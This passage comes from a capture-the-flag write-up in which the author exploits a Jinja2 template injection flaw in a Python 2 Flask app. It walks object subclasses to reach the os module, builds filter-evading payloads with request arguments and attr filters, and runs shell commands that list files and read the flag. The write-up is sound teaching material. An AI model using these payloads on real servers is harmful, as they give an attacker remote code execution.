'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <type 'CArgObject'>, <type '_ctypes.CThunkObject'>, <type '_ctypes._CData'>, <type '_ctypes.CField'>, <type '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'subprocess.Popen'>, <class 'itsdangerous._json._CompactJSON'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'ast.NodeVisitor'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <type 'method-wrapper'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <type 'unicodedata.UCD'>, <type 'array.array'>, <type 'setiterator'>, <class 'jinja2.debug.TracebackFrameProxy'>, <class 'jinja2.debug.ProcessedTraceback'>]

On my side [].__class__.__base__.__subclasses__()[221] gives <class 'jinja2.utils.Joiner'>.

On the server side <class 'jinja2.utils.Joiner'> is at index 137 instead. So I tried to target another class.

The unobfuscated target paylaod is:

[].__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__'].exec("[evil]")

Arguments order:

{{request|attr("args")}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__= => ImmutableMultiDict([('__subclasses__', u''), ('name', u'{{request|attr("args")}}'), ('__builtins__', u''), ('__base__', u''), ('__class__', u''), ('__init__', u''), ('__globals__', u'')])

Obfuscated working payload for [].__class__.__base__.__subclasses__()[137].__init__.__globals__:

{{{}|attr(request|attr("args")|list|attr("pop")(4))|attr(request|attr("args")|list|attr("pop")(3))|attr(request|attr("args")|list|attr("pop")(0))()|attr("pop")(137)|attr(request|attr("args")|list|attr("pop")(5))|attr(request|attr("args")|list|attr("pop")(6))}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__=

But I'm facing a big problem now: ['__builtins__'] is available on my computer and not on the server.

Instead I have only:

{'_word_split_re': <_sre.SRE_Pattern object at 0x7f149d139920>, '_entity_re': <_sre.SRE_Pattern object at 0x7f149d520db0>, 'consume': <function consume at 0x7f149d498ad0>, 'Namespace': <class 'jinja2.utils.Namespace'>, 'evalcontextfunction': <function evalcontextfunction at 0x7f149d5322d0>, 'escape': <function escape at 0x7f149d0e4350>, 'htmlsafe_json_dumps': <function htmlsafe_json_dumps at 0x7f149d0d47d0>, 'abc': <module 'collections' from '/usr/local/lib/python2.7/collections.pyc'>, 'internalcode': <function internalcode at 0x7f149d54e3d0>, 'urlize': <function urlize at 0x7f149d49cdd0>, '_simple_email_re': <_sre.SRE_Pattern object at 0x7f149d59fcb0>, 'errno': <module 'errno' (built-in)>, 'url_quote': <function quote at 0x7f149d0c7dd0>, '_punctuation_re': <_sre.SRE_Pattern object at 0x7f149d525770>, '__package__': 'jinja2', 're': <module 're' from '/usr/local/lib/python2.7/re.pyc'>, 'json': <module 'json' from '/usr/local/lib/python2.7/json/__init__.pyc'>, '__file__': '/usr/local/lib/python2.7/site-packages/jinja2/utils.pyc', 'deque': <type 'collections.deque'>, 'open_if_exists': <function open_if_exists at 0x7f149d49c750>, 'environmentfunction': <function environmentfunction at 0x7f149d532550>, 'missing': missing, 'text_type': <type 'unicode'>, '_digits': '0123456789', 'have_async_gen': False, '_letters': 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'unicode_urlencode': <function unicode_urlencode at 0x7f149d4a19d0>, '__name__': 'jinja2.utils', 'Cycler': <class 'jinja2.utils.Cycler'>, 'Joiner': <class 'jinja2.utils.Joiner'>, 'soft_unicode': <function soft_unicode at 0x7f149d0e4450>, 'internal_code': set([<code object parse at 0x7f149d5f8130, file "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 479>, <code object load at 0x7f149d603630, file "/usr/local/lib/python2.7/site-packages/jinja2/loaders.py", line 99>, <code object select_template at 0x7f149d5f8e30, file "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 832>, <code object loop at 0x7f149cfc3d30, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py", line 396>, <code object load at 0x7f149cf37eb0, file "/usr/local/lib/python2.7/site-packages/jinja2/loaders.py", line 358>, <code object _get_default_module at 0x7f149d5ff8b0, file "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 1085>, <code object get_or_select_template at 0x7f149d5f8eb0, file "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 859>, <code object _fail_with_undefined_error at 0x7f149cfc59b0, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py", line 610>, <code object __call__ at 0x7f149cfc56b0, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py", line 496>, <code object get_template at 0x7f149d5f8d30, file "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 809>, <code object __call__ at 0x7f149cfc3530, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py", line 338>, <code object call at 0x7f149cfbde30, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py", line 234>, <code object compile at 0x7f149d5f85b0, file "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 553>, <code object load at 0x7f149cf3a830, file "/usr/local/lib/python2.7/site-packages/jinja2/loaders.py", line 465>, <code object __getattr__ at 0x7f149cfc5a30, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py", line 632>, <code object load at 0x7f149cf3a330, file "/usr/local/lib/python2.7/site-packages/jinja2/loaders.py", line 401>, <code object _load_template at 0x7f149d5f8c30, file "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 794>]), 'concat': <built-in method join of unicode object at 0x7f149d6ff300>, 'LRUCache': <class 'jinja2.utils.LRUCache'>, 'implements_iterator': <function implements_iterator at 0x7f149d544cd0>, 'select_autoescape': <function select_autoescape at 0x7f149d656450>, 'Lock': <built-in function allocate_lock>, 'string_types': (<type 'str'>, <type 'unicode'>), 'contextfunction': <function contextfunction at 0x7f149d52ff50>, '__doc__': '\n jinja2.utils\n ~~~~~~~~~~~~\n\n Utility functions.\n\n :copyright: (c) 2017 by the Jinja Team.\n :license: BSD, see LICENSE for more details.\n', 'import_string': <function import_string at 0x7f149d49c450>, '_striptags_re': <_sre.SRE_Pattern object at 0x7f149d0c4930>, '_slash_escape': True, 'pformat': <function pformat at 0x7f149d49cad0>, 'generate_lorem_ipsum': <function generate_lorem_ipsum at 0x7f149d49ce50>, 'object_type_repr': <function object_type_repr at 0x7f149d49c950>, 'clear_caches': <function clear_caches at 0x7f149d498e50>, 'Markup': <class 'markupsafe.Markup'>, 'is_undefined': <function is_undefined at 0x7f149d54ed50>}

It's here I understand the target is under python 2 and not 3! I don't know why I assumed the target was using python3, I made a huge mistake and lost quiet some precious time.

Ok let's forget Namespace and use Popen which seems nearer to exec logically.

$ python list.py <<<0 | grep Popen
303 Popen : __init__ eval
303 Popen : __init__ open
303 Popen : __init__ exec
303 Popen : __del__ eval
303 Popen : __del__ open
303 Popen : __del__ exec

Popen is at index 303 on my side but 243 on server-side.

The unobfuscated target paylaod is:

[].__class__.__base__.__subclasses__()[243].__init__.__globals__['os'].system('ls')

Arguments order:

{{request|attr("args")}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__= => ImmutableMultiDict([('__subclasses__', u''), ('name', u'{{request|attr("args")}}'), ('__builtins__', u''), ('__base__', u''), ('__class__', u''), ('__init__', u''), ('__globals__', u'')])

Obfuscated working payload for [].__class__.__base__.__subclasses__()[137].__init__.__globals__['os']:

{{{}|attr(request|attr("args")|list|attr("pop")(4))|attr(request|attr("args")|list|attr("pop")(3))|attr(request|attr("args")|list|attr("pop")(0))()|attr("pop")(243)|attr(request|attr("args")|list|attr("pop")(5))|attr(request|attr("args")|list|attr("pop")(6))|attr("pop")("os")}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__=

I can append |attr("system")("ls") but I will work only the 1st time, after that I need to restart the docker, and I won't see the display on the return value of the command.

To get the display I'll use .popen("ls").read() instead of .system("ls")

{{{}|attr(request|attr("args")|list|attr("pop")(4))|attr(request|attr("args")|list|attr("pop")(3))|attr(request|attr("args")|list|attr("pop")(0))()|attr("pop")(243)|attr(request|attr("args")|list|attr("pop")(5))|attr(request|attr("args")|list|attr("pop")(6))|attr("pop")("os")|attr("popen")("ls")|attr("read")()}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__=

So I had the following results: app.py flag static templates.

So here is the flag.

Final unobfuscated target paylaod is:

[].__class__.__base__.__subclasses__()[243].__init__.__globals__['os'].popen('cat flag').read()

Final obfuscated target paylaod is:

{{{}|attr(request|attr("args")|list|attr("pop")(4))|attr(request|attr("args")|list|attr("pop")(3))|attr(request|attr("args")|list|attr("pop")(0))()|attr("pop")(243)|attr(request|attr("args")|list|attr("pop")(5))|attr(request|attr("args")|list|attr("pop")(6))|attr("pop")("os")|attr("popen")("cat flag")|attr("read")()}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__=

Here is the flag: TMHC{__\.{{str8_0utt4_h311}}./__}.

Conclusion: I think I overclomplicated stuff, they must be an easier payload but at least I learnt so much stuff. Thx makelaris for this challenge.

Share